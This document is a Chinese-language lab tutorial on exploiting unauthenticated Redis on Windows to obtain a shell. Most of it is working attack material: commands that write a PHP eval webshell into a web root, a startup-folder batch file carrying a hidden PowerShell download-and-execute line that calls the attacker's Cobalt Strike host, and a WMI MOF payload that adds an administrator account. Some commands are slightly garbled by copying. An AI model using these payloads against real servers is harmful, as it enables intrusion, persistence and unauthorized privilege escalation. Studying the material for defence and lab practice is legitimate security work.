Redis未授权访问漏洞(windows环境)
上一篇文章说了linux环境下的redis未授权访问如何进行getshell,今天就来说一说如果是换成windows环境下又怎么进行getshell。
一、靶机环境
1.Win7 漏洞靶机:192.168.1.1032.Windows 2003 漏洞靶机:192.168.1.1043.Kali 攻击机:192.168.1.102
二、漏洞环境搭建
首先下载windows环境下的redis版本,解压之后显示如下
图中箭头1处标识的是redis的相关配置文件,2处标识的是用于redis连接的可执行文件,3处则是启动redis的执行文件。
在dos窗口中切换到当前目录执行以下命令启动redis服务
redis-server.exe redis.conf
然后在攻击机中扫描靶机开启的端口情况,验证是否成功启动redis
nmap -p 6379 --script redis-info 192.168.1.103 #验证redis是否启动
从结果来看目标靶机确实已经启动了redis服务,那么接下来连接以下看看是否存在未授权访问漏洞
事实证明是存在该漏洞的,并且此时返回目标靶机可以看到会显示当前连接redis的情况
三、通过未授权访问漏洞实现getshell
在windows环境下通过redis未授权访问漏洞实现getshell同样也有三种方式,分别是如下三种:
1、写入webshell
写入webshell这种方式,需要通过phpinfo或者其他的报错方式来获取网站绝对路径。这里我提前在win7靶机中用phpstudy模拟了环境,通过phpinfo获取了网站的绝对路径,显示如下
接下来就是通过连接目标靶机的redis进行写入webshell了,执行如下命令即可
192.168.1.103:6379> CONFIG SET dir c:/phpstudy_pro/WWWOK192.168.1.103:6379> CONFIG SET dbfilename shell.phpOK192.168.1.103:6379> set x “php @eval($_POST['swzaq']) ?>”OK192.168.1.103:6379> saveOK
写入成功之后用蚁剑进行连接
2、写入启动项
当目标没有提供网站服务,或者不知道网站绝对路径没办法写入webshell时,我们就可以通过写入启动项的方式来getshell。这就跟在linux环境下写入计划任务效果差不多。
windows下的开机启动项的目录为
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
值得注意的是由于Start Menu之间是有空格的,因此在写入的时候需要用双引号将路径包含起来,否则会出现参数个数错误的提示。
这里我是通过Cobalt Strike来接收目标靶机的shell的,具体实现步骤如下:
首先在攻击机中启动CS服务端,启动成功之后同样是在攻击机中启动客户端进行登录
接着添加一个Listener 监听器
然后选择Attacks--Web Drive-by--scripted Web Delivery(S)
在弹出的对话框中选择刚才添加的Listener
点击Launch之后生成如下代码
powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.102:80/a'))"
接着就可以连接redis开始写入启动项了,不过这里需要特别几个问题
(1)由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行
(2)由于设置变量时会使用双引号进行包含,而命令中本来就含有双引号,为了不造成歧义这里需要对其进行转义
因此连接目标redis之后执行如下命令即可
192.168.1.103:6379> CONFIG SET dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"OK192.168.1.103:6379> CONFIG SET dbfilename shell.batOK192.168.1.103:6379> set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.102:80/a'))\"\r\n\r\n"OK192.168.1.103:6379> saveOK
执行完成后查看目标靶机发现已经成功写入了
重启一下目标靶机,服务器就上线了
3、mof提权
第二种方法有一个缺陷就是必须要机器重启才能getshell。这个如果是在真是环境中肯定是比较困难的,那么这个时候我们就可以通过mof提权的方式来进行getshell了。
mof提权的原理
mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof
叫做托管对象格式。它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,在该文件夹下写入一个恶意的mof文件,其中有一段是vbs脚本,而这个vbs脚本大多数是cmd的添加管理员用户的命令。写入完成之后这个文件会被服务器每隔5秒以system权限进行执行。(这个默认5秒执行一次的设定只有03及以下系统才会有)
值得注意的是通过测试也只在windows2003的环境下成功过。下面就是具体步骤
首先将下列代码保存在攻击机的ceshi.txt文件中
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user admin admin /add \")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
如图箭头标识的就是添加一个admin用户的命令。然后继续执行如下命令
(echo -e "nn"; cat ceshi.txt; echo -e "nn") > shell.txt
最后切换到redis目录,连接目标靶机的redis并执行如下命令
root@kali:/usr/local/redis/redis-3.2.0/src#cat /root/shell.txt |./redis-cli -h 192.168.1.104 -x set xOKroot@kali:/usr/local/redis/redis-3.2.0/src#./redis-cli -h 192.168.1.104192.168.1.104:6379> CONFIG SET dir C:/windows/system32/wbem/mof/OK192.168.1.104:6379> CONFIG SET dbfilename shell.mofOK192.168.1.104:6379>saveOK
执行完成之后返回目标主机的对应目录下可以看到已经成功写入了
写入成功之后几秒钟这个文件就会被执行,目标靶机就会创建一个admin用户
还有一个问题就是执行成功的mof文件会放在good文件夹下,失败的会放在bad文件夹下。
我在复现的时候写入的mof文件虽然最后是放在了bad文件夹下,但是它确确实实是成功执行了,并且这个成功执行会有一个概率问题。如果开始一两次写入没有成功多试几次就会达到效果的。具体效果显示如下